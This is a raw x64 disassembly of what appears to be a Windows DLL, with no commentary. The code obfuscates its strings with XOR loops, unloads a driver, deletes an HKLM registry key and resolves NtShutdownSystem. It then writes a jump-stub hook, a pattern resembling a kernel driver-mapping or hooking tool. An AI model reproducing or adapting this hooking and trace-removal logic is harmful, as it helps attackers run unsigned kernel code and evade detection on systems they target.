lea rcx, [rbp + 0x1610]
call qword [sym.imp.ntdll.dll_NtUnloadDriver]
mov qword [rbp + 0xfc0], rbx
mov ecx, r12d
mov rax, qword gs:[0x58]
mov rax, qword [rax + rcx*8]
lea rsi, [0x18008a2d8]
mov eax, dword [r13 + rax]
cmp dword [0x18008a29c], eax
jle 0x18000c684
lea rcx, [0x18008a29c]
call fcn.180027290
cmp dword [0x18008a29c], 0xffffffff
jne 0x18000c684
movups xmm0, xmmword [str.k_IOYPb5301]
movups xmmword [rbp + 0x468], xmm0
movups xmm1, xmmword [0x18004a9b0]
movups xmmword [rbp + 0x478], xmm1
movzx eax, word [0x18004a9c0]
mov word [rbp + 0x488], ax
movzx eax, byte [0x18004a9c2]
mov byte [rbp + 0x48a], al
mov r8d, ebx
cmp r15d, 2
jl 0x18000c5e9
movdqa xmmword [rsp + 0x40], xmm12
lea rcx, [rbp + 0x46c]
mov edx, dword [rsp + 0x40]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x18000c4f0
cmp r8d, 0x23
jge 0x18000c633
movsxd rax, r8d
lea r9, [rbp + 0x468]
add r9, rax
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x23
jl 0x18000c600
xorps xmm0, xmm0
movups xmmword [0x18008a2d8], xmm0
xorps xmm1, xmm1
movdqu xmmword [0x18008a2e8], xmm1
lea rax, [rbp + 0x468]
nop
inc rdi
cmp byte [rax + rdi], 0
jne 0x18000c650
mov r8, rdi
lea rdx, [rbp + 0x468]
mov rcx, rsi
call fcn.180011280
lea rcx, [0x180028f50]
call fcn.18002769c
nop
lea rcx, [0x18008a29c]
call fcn.180027224
cmp qword [0x18008a2f0], 0xf
cmova rsi, qword [0x18008a2d8]
lea r8, [rbp + 0xfc0]
mov rdx, rsi
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
mov rdx, r14
cmp qword [r14 + 0x18], 0xf
jbe 0x18000c6bc
mov rdx, qword [r14]
mov rcx, qword [rbp + 0xfc0]
call qword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
test eax, eax
jne 0x18000c6de
mov rcx, qword [rbp + 0xfc0]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rcx, [rbp + 0x928]
call fcn.180003080
nop
mov rcx, rax
cmp qword [rax + 0x18], 7
jbe 0x18000c6fc
mov rcx, qword [rax]
mov rax, qword [rax + 0x10]
mov qword [rbp + 0x720], rcx
mov qword [rbp + 0x728], rax
movups xmm6, xmmword [rbp + 0x720]
call fcn.180026890
movaps xmmword [rsp + 0x40], xmm6
lea r8, [rsp + 0x40]
mov edx, eax
lea rcx, [rbp + 0x640]
call fcn.1800104e0
nop
mov rdx, r14
cmp qword [r14 + 0x18], 0xf
jbe 0x18000c744
mov rdx, qword [r14]
mov r8, qword [r14 + 0x10]
lea rcx, [rbp + 0x640]
call fcn.180010440
xorps xmm0, xmm0
movups xmmword [rbp + 0x1d0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1e0], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x1d0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x1e0], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rax, [rbp + 0x1d0]
cmp qword [rbp + 0x1e8], 0xf
cmova rax, qword [rbp + 0x1d0]
mov qword [rbp + 0x730], rax
mov rax, qword [rbp + 0x1e0]
mov qword [rbp + 0x738], rax
movups xmm6, xmmword [rbp + 0x730]
call fcn.180026890
movaps xmmword [rsp + 0x40], xmm6
lea r8, [rsp + 0x40]
mov edx, eax
lea rcx, [rbp + 0x210]
call fcn.180002340
nop
lea rcx, [rbp + 0x210]
cmp qword [rbp + 0x228], 7
cmova rcx, qword [rbp + 0x210]
call fcn.180026f44
mov rdx, rax
shr rax, 0x20
test eax, eax
jne 0x18000eb29
mov rdx, qword [rbp + 0x228]
cmp rdx, 7
jbe 0x18000c85e
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x210]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000c859
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x18000c859
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1800271e0
movdqu xmmword [rbp + 0x220], xmm15
mov word [rbp + 0x210], bx
mov rdx, qword [rbp + 0x1e8]
cmp rdx, 0xf
jbe 0x18000c8be
inc rdx
mov rcx, qword [rbp + 0x1d0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000c8b9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x18000c8b9
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1800271e0
movdqu xmmword [rbp + 0x1e0], xmm13
mov byte [rbp + 0x1d0], 0
mov rdx, qword [rbp + 0x658]
cmp rdx, 0xf
jbe 0x18000c91e
inc rdx
mov rcx, qword [rbp + 0x640]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000c919
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x18000c919
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1800271e0
movdqu xmmword [rbp + 0x650], xmm13
mov byte [rbp + 0x640], 0
mov rdx, qword [rbp + 0x940]
cmp rdx, 7
jbe 0x18000c983
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x928]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000c97e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x18000c97e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1800271e0
movdqu xmmword [rbp + 0x938], xmm15
mov word [rbp + 0x928], bx
mov rdx, qword [rbp + 0x12b0]
cmp rdx, 0xf
jbe 0x18000c9e3
inc rdx
mov rcx, qword [rbp + 0x1298]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000c9de
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x18000c9de
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1800271e0
movdqu xmmword [rbp + 0x12a8], xmm13
mov byte [rbp + 0x1298], 0
mov rcx, r14
call fcn.18000fe00
mov eax, dword [0x18004a820]
movups xmm0, xmmword [0x18004a7f0]
mov dword [rbp + 0x3e8], eax
movups xmmword [rbp + 0x3b8], xmm0
movzx eax, word [0x18004a824]
movups xmm0, xmmword [0x18004a810]
movups xmm1, xmmword [0x18004a800]
mov word [rbp + 0x3ec], ax
movups xmmword [rbp + 0x3d8], xmm0
movups xmmword [rbp + 0x3c8], xmm1
mov r8d, ebx
cmp r15d, 2
jl 0x18000cb61
lea rcx, [rbp + 0x3b8]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm14
paddw xmm3, xmm2
movq xmm0, qword [rcx]
xorps xmm3, xmm0
movq qword [rcx], xmm3
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm14
paddw xmm3, xmm2
movq xmm0, qword [rcx + 8]
xorps xmm3, xmm0
movq qword [rcx + 8], xmm3
add r8d, 8
lea rcx, [rcx + 0x10]
cmp r8d, 0x18
jl 0x18000ca60
cmp r8d, 0x1b
jge 0x18000cba7
movsxd rax, r8d
lea r9, [rbp + 0x3b8]
lea r9, [r9 + rax*2]
nop
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x3a
movzx eax, r8w
sub ax, cx
add ax, 0x38
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0x1b
jl 0x18000cb70
lea rcx, [rbp + 0x3b8]
call fcn.1800158e0
movzx edi, al
jmp 0x18000e592
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Xbad_function_call_void_]
int3
add rax, 0x23802
mov qword [rbp + 0x1368], rax
mov rsi, r14
mov rax, qword gs:[0x58]
mov rcx, qword [rax + rcx*8]
mov eax, dword [r13 + rcx]
cmp dword [0x18008a298], eax
jle 0x18000ce73
lea rcx, [0x18008a298]
call fcn.180027290
cmp dword [0x18008a298], 0xffffffff
jne 0x18000ce73
mov rax, qword [str.UWVSK__]
mov qword [rbp + 0x70], rax
cmp byte [0x18002ac27], 0
je 0x18000cd02
cmp r15d, 2
jl 0x18000d0cf
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm8
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd eax, xmm12
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x70]
xorps xmm2, xmm1
movd dword [rbp + 0x70], xmm2
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm7
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x74]
xorps xmm2, xmm1
movd dword [rbp + 0x74], xmm2
mov rsi, r14
mov eax, dword [0x18002abd8]
mov dword [rbp + 0x28], eax
movsd xmm0, qword [str.VMUHWOPSn_:D]
movzx eax, byte [0x18002abdc]
movsd qword [rbp + 0x20], xmm0
mov byte [rbp + 0x2c], al
mov r8d, ebx
cmp r15d, 2
jl 0x18000ce12
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm1, xmm8
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm12
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [str.VMUHWOPSn_:D]
xorps xmm1, xmm0
movd dword [rbp + 0x20], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm7
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x24]
xorps xmm2, xmm1
movd dword [rbp + 0x24], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x20]
add r9, rax
nop dword [rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x18000ce20
lea rdx, [rbp + 0x70]
lea rcx, [rbp + 0x20]
call fcn.180001f60
mov qword [0x18008a300], rax
lea rcx, [0x18008a298]
call fcn.180027224
mov rdi, qword [0x18008a300]
mov edx, r12d
mov rax, qword gs:[0x58]
mov rax, qword [rax + rdx*8]
mov ecx, dword [r13 + rax]
cmp dword [0x18008a2f8], ecx
jle 0x18000cee4
lea rcx, [0x18008a2f8]
call fcn.180027290
cmp dword [0x18008a2f8], 0xffffffff
jne 0x18000cee4
lea rcx, [0x18002a978]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rdx, str.NtShutdownSystem
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x18008a2b8], rax
lea rcx, [0x18008a2f8]
call fcn.180027224
mov dword [rbp + 0x1a30], 0x25ff
mov word [rbp + 0x1a34], 0
mov qword [rbp + 0x1a36], rdi
mov rdx, qword [0x18008a2a8]
mov r9d, 0xe
lea r8, [rbp + 0x1ab0]
lea rcx, [rbp + 0x11f0]
call fcn.180011bc0
test al, al
je 0x18000cf97
mov rdx, qword [0x18008a2a8]
mov r9d, 0xe
lea r8, [rbp + 0x1a30]
lea rcx, [rbp + 0x1230]
call fcn.180011bc0
test al, al
je 0x18000cf97
mov rax, qword [0x18008a2b8]
mov r8d, 8
lea rdx, [rbp + 0x1368]
mov rcx, rsi
call rax
mov rsi, rax
mov rdx, qword [0x18008a2a8]
mov r9d, 0xe
lea r8, [rbp + 0x1ab0]
lea rcx, [rbp + 0x1230]
call fcn.180011bc0
test al, al
je 0x18000cf97
test rsi, rsi
jne 0x18000dabb
mov ecx, r12d
mov rax, qword gs:[0x58]
mov rcx, qword [rax + rcx*8]
mov eax, dword [r13 + rcx]
cmp dword [0x18008a298], eax
jle 0x18000d2c3
lea rcx, [0x18008a298]
call fcn.180027290
cmp dword [0x18008a298], 0xffffffff
jne 0x18000d2c3
mov rax, qword [str.UWVSK__]
mov qword [rbp + 0x78], rax
cmp byte [0x18002ac27], 0
je 0x18000d153
cmp r15d, 2
jl 0x18000d118
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm8
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd eax, xmm12
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x78]
xorps xmm2, xmm1
movd dword [rbp + 0x78], xmm2
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm7
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x7c]
xorps xmm2, xmm1
movd dword [rbp + 0x7c], xmm2
jmp 0x18000d153
lea r9, [rbp + 0x70]
mov r8d, ebx
mov rsi, r14
nop dword [rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x18000d0e0
jmp 0x18000cd05
lea r9, [rbp + 0x78]
mov r8d, ebx
nop
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x18000d120
mov eax, dword [0x18002abd8]
mov dword [rbp + 0x18], eax
movsd xmm0, qword [str.VMUHWOPSn_:D]
movzx eax, byte [0x18002abdc]
movsd qword [rbp + 0x10], xmm0
mov byte [rbp + 0x1c], al
mov r8d, ebx
cmp r15d, 2
jl 0x18000d261
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm1, xmm8
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm12
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [str.VMUHWOPSn_:D]
xorps xmm1, xmm0
movd dword [rbp + 0x10], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm7
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm11, xmm0
andps xmm11, xmm10
packuswb xmm11, xmm11
packuswb xmm11, xmm11
movd xmm0, eax
paddb xmm11, xmm0
movd xmm1, dword [rbp + 0x14]
xorps xmm11, xmm1
movd dword [rbp + 0x14], xmm11
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x10]
add r9, rax
nop dword [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x18000d270
lea rdx, [rbp + 0x78]
lea rcx, [rbp + 0x10]
call fcn.180001f60
mov qword [0x18008a300], rax
lea rcx, [0x18008a298]
call fcn.180027224
mov rdi, qword [0x18008a300]
mov edx, r12d
mov rax, qword gs:[0x58]
mov rax, qword [rax + rdx*8]
mov ecx, dword [r13 + rax]
cmp dword [0x18008a2f8], ecx
jle 0x18000d334
lea rcx, [0x18008a2f8]
call fcn.180027290
cmp dword [0x18008a2f8], 0xffffffff
jne 0x18000d334
lea rcx, [0x18002a978]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rdx, str.NtShutdownSystem
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x18008a2b8], rax
lea rcx, [0x18008a2f8]
call fcn.180027224
mov dword [rbp + 0x1a20], 0x25ff
mov word [rbp + 0x1a24], 0
mov qword [rbp + 0x1a26], rdi
mov rdx, qword [0x18008a2a8]
mov r9d, 0xe
lea r8, [rbp + 0x1ac0]
lea rcx, [rbp + 0x11f0]
call fcn.180011bc0
test al, al
je 0x18000d3d5
mov rdx, qword [0x18008a2a8]
mov r9d, 0xe
lea r8, [rbp + 0x1a20]
lea rcx, [rbp + 0x1230]
call fcn.180011bc0
test al, al
je 0x18000d3d5
mov rcx, qword [rbp - 0x60]
add rcx, 0x60
mov r8d, 8
lea rdx, [rbp + 0x1180]
call qword [0x18008a2b8]
mov rdx, qword [0x18008a2a8]
mov r9d, 0xe
lea r8, [rbp + 0x1ac0]
lea rcx, [rbp + 0x1230]
call fcn.180011bc0
lea rdx, [rbp + 0x1198]
lea rcx, [rbp + 0xe40]
call fcn.18000fea0
mov rdi, rax
mov qword [rbp - 0x60], rax
mov rcx, qword [rbp + 0x11b8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x18000d905
movups xmm0, xmmword [str.dk_UNJM9]
movups xmmword [rbp + 0xa60], xmm0
movups xmm1, xmmword [0x18002acd0]
movups xmmword [rbp + 0xa70], xmm1
movups xmm0, xmmword [0x18002ace0]
movups xmmword [rbp + 0xa80], xmm0
mov eax, dword [0x18002acf0]
mov dword [rbp + 0xa90], eax
movzx eax, byte [0x18002acf4]
mov byte [rbp + 0xa94], al
mov r8d, ebx
cmp r15d, 2
jl 0x18000d569
movdqa xmmword [rsp + 0x40], xmm12
lea rcx, [rbp + 0xa64]
mov edx, dword [rsp + 0x40]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x30
jl 0x18000d470
cmp r8d, 0x35
jge 0x18000d5b3
movsxd rax, r8d
lea r9, [rbp + 0xa60]
add r9, rax
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x35
jl 0x18000d580
lea rdx, [rbp + 0xa60]
lea rcx, [rbp + 0x1590]
call fcn.18000fe60
nop
mov rdx, rdi
lea rcx, [rbp + 0x1590]
call fcn.18000fde0
lea rcx, [rbp + 0x1590]
call fcn.18000fdd0
mov rdx, rax
lea rcx, [rbp + 0x1600]
call qword [sym.imp.ntdll.dll_RtlInitAnsiString]
mov r8b, 1
lea rdx, [rbp + 0x1600]
lea rcx, [rbp + 0x15f0]
call qword [sym.imp.ntdll.dll_RtlAnsiStringToUnicodeString]
lea rcx, [rbp + 0x15f0]
call qword [sym.imp.ntdll.dll_NtUnloadDriver]
mov qword [rbp + 0xfa8], rbx
mov ecx, r12d
mov rax, qword gs:[0x58]
mov rax, qword [rax + rcx*8]
lea rsi, [0x18008a2d8]
mov eax, dword [r13 + rax]
cmp dword [0x18008a29c], eax
jle 0x18000d82b
lea rcx, [0x18008a29c]
call fcn.180027290
cmp dword [0x18008a29c], 0xffffffff
jne 0x18000d82b
movups xmm0, xmmword [str.k_IOYPb5301]
movups xmmword [rbp + 0x580], xmm0
movups xmm1, xmmword [0x18004a9b0]
movups xmmword [rbp + 0x590], xmm1
movzx eax, word [0x18004a9c0]
mov word [rbp + 0x5a0], ax
movzx eax, byte [0x18004a9c2]
mov byte [rbp + 0x5a2], al
mov r8d, ebx
cmp r15d, 2
jl 0x18000d7b9
movdqa xmmword [rsp + 0x40], xmm12
lea rcx, [rbp + 0x584]
mov edx, dword [rsp + 0x40]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x18000d6c0
cmp r8d, 0x23
jge 0x18000d803
movsxd rax, r8d
lea r9, [rbp + 0x580]
add r9, rax
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x23
jl 0x18000d7d0
lea rdx, [rbp + 0x580]
mov rcx, rsi
call fcn.18000fe60
lea rcx, [0x180028f50]
call fcn.18002769c
nop
lea rcx, [0x18008a29c]
call fcn.180027224
mov rcx, rsi
call fcn.18000fdd0
mov rdx, rax
